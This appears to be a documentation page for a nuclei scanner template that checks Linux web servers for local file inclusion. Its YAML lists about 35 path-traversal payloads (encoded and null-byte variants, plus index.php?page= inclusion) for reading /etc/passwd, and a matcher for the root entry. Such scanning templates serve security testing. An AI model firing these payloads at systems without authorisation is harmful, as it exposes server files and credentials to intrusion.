generic-linux-lfi: Generic Linux - Local File Inclusion
- Template: generic-linux-lfi
- Name: Generic Linux - Local File Inclusion
- Description: Generic Linux is subject to Local File Inclusion - the vulnerability was identified by requesting /etc/passwd from the server.
- Severity: high
- Authors: geeknik, unstabl3, pentest_swissky, sushantkamble, 0xSmiley, DhiyaneshDK
- Tags: linux, lfi, generic, vuln
- References: https://github.com/imhunterand/ApachSAL/blob/main/assets/exploits.json
- Max requests: 32
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/generic/generic-linux-lfi.yaml
- Digest: 4b0a004830460221008a1b638cfbb87dfd56ba112b4bbe3e70763db968cacbf086c0b4a6511292172e022100d376d19d44eddf6837e57d430660acf25b09fda75a10751778d3bcba47cfc7a8
- Created at: 2020-10-22T20:44:56Z
- Updated at: 2026-10-14T22:22:28Z
- Age in days: 2223
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/generic/generic-linux-lfi.yaml
- Checked, none or zero: cves, verified, products
- Not known: impact, remediation
Classification
- Cwe: CWE-23, CWE-73
- Cvss score: 7.5
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Not known: epss score, epss percentile, cpe
Metadata
- Max-request: 32
Labels
- Name: Generic Linux - Local File Inclusion
- Impact: Attackers can read arbitrary files on the server, potentially exposing sensitive information such as system credentials.
- Remediation: Update to the latest version of the affected software.
- Vulnerability type: file_inclusion
- Vulnerability impact: file_system_read, information_disclosure
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: generic-linux-lfi
info:
name: Generic Linux - Local File Inclusion
author: geeknik,unstabl3,pentest_swissky,sushantkamble,0xSmiley,DhiyaneshDK
severity: high
description: Generic Linux is subject to Local File Inclusion - the vulnerability was identified by requesting /etc/passwd from the server.
reference:
- https://github.com/imhunterand/ApachSAL/blob/main/assets/exploits.json
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-23,CWE-73
metadata:
max-request: 32
tags: linux,lfi,generic,vuln
http:
- method: GET
path:
- "{{BaseURL}}{{paths}}"
payloads:
paths:
- "/etc/passwd"
- "/..%5cetc/passwd"
- "/..%5c..%5cetc/passwd"
- "/..%5c..%5c..%5cetc/passwd"
- "/..%5c..%5c..%5c..%5cetc/passwd"
- "/..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "/static/..%5cetc/passwd"
- "/static/..%5c..%5cetc/passwd"
- "/static/..%5c..%5c..%5cetc/passwd"
- "/static/..%5c..%5c..%5c..%5cetc/passwd"
- "/static/..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "/static/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "/static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "/./../../../../../../../../../../etc/passwd"
- "/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2eetc/passwd"
- "/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/passwd"
- "/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd"
- "/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cetc/passwd"
- "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
- "/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"
- "/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
- "/..///////..////..//////etc/passwd"
- "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
- "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
- "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00"
- "/index.php?page=etc/passwd"
- "/index.php?page=etc/passwd%00"
- "/index.php?page=../../etc/passwd"
- "/index.php?page=....//....//etc/passwd"
- "/../../../../../../../../../etc/passwd"
- "/../../../etc/./passwd%00.png"
- "/..././..././..././e..tc..pas..swd"
- "/..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd"
- "/../../../etc/./passwd/./././"
stop-at-first-match: true
matchers:
- type: regex
regex:
- "root:.*:0:0:"
part: body
digest: 4b0a004830460221008a1b638cfbb87dfd56ba112b4bbe3e70763db968cacbf086c0b4a6511292172e022100d376d19d44eddf6837e57d430660acf25b09fda75a10751778d3bcba47cfc7a8:922c64590222798bb761d5b6d8e72950
```